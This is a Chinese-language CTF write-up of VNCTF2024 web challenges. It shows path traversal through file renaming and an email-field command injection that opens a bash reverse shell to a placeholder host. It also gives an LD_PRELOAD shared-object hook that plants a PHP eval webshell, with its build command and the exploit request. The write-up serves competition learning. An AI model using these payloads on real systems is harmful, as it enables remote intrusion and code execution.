VNCTF2024-WEB-gxngxngxn
VNCTF2024-WEB-gxngxngxn
Checkin
签到题,直接看js文件
CutePath
按照上述穿越下
可以看到一串base64加密的,解密后是账号密码:
登录看到有新功能,可以重命名文件.
我们找到flag.txt文件,但是不能查看,我们可以利用重命名将flag.txt文件传送到share_main目录下,这样我们就可以查看了:
直接将flag.txt重命名为../../../../../home/ming/share_main/flag.txt即可:
TrySent
直接访问/user/upload/index?name=icon&type=image
上传访问即可
codefever_again
正则过滤不严谨导致的命令拼接注入
解法一:
由于我审计代码的时候,不小心就看到了出题人留在附件里忘记删除的exp(故意的还是不小心的😀
所以直接用出题人的exp打了个一血:
解法二:
后面仔细看了下出题人师傅的github所提的问题
出题人师傅是在注册时拼接了一个恶意的email,所以后端正则匹配不严谨,导致恶意账号能通过
形如:
gxngxngxn;bash${IFS}-c${IFS}'bash${IFS}-i>&/dev/tcp/vps/port<&1'@qq.com
然后在后面尝试的时候,看到我们就算注册以后,还能修改邮箱,那么是否可以注册正常的账号,再修改为恶意email呢?
我们先注册一个注册的账号:
再修改为恶意账号:
然后去新建仓库和仓库组:
建完以后会发现一直在加载,说明弹shell成功:
givenphp
whoami命令劫持
<?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
handleFileUpload($_FILES['file']);
}
if(isset($_GET['challenge'])){
waf();
$value=$_GET['value'];
$key=$_GET['key'];
$func=create_function("","putenv('$key=$value');");
if($func==$_GET['guess']){
$func();
system("whoami");
}
}
function waf()
{
if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
die("evil input!!!");
}
}
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);
$newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
$destination = $uploadDirectory . $newFileName;
if (move_uploaded_file($file['tmp_name'], $destination)) {
echo $destination;
} else {
echo '文件移动失败。';
}
}
有个传文件到tmp目录下的功能,还有个设置环境变量的功能,并且会调用whoami命令。
看到putenv的时候一开始想用环境变量注入,但是看到waf,emmmm,好像就是为了禁止这个注入而写的,我也不想去绕这个
于是转化思想,环境变量注入肯定用不到文件上传,那么要用到文件上传和putenv的,可以想到是LD_PRELOAD劫持,我们只要劫持whoami命令就行
那么思路很明显,传个.so文件上去,然后设置环境变量试设置LD_PRELOAD=$PWD/xxxx.so,完美!接下来实践即可
首先写个.c文件:
#include <stdio.h>
#include <stdlib.h>
int puts(const char *message) {
printf("hack you!!!");
system("echo '<?php @eval($_POST[0]);?>' > /var/www/html/gxngxngxn.php");
return 0;
}
然后编译为.so文件:
gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE
上传:
构造个数据包,由于guess要我们猜匿名函数的名字,他会随着我们每次请求增长,我们只要先设置个比较后面的,然后不断发包即可:
GET /?challenge=1&value=/tmp/uploaded_file_65d03e3e906182.36544985.so&key=LD_PRELOAD&guess=%00lambda_20 HTTP/1.1
Host: 101522b7-51aa-415b-a4ca-3ae3dd7a4c20.vnctf2024.manqiu.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
访问gxngxngxn.php,成功写入rce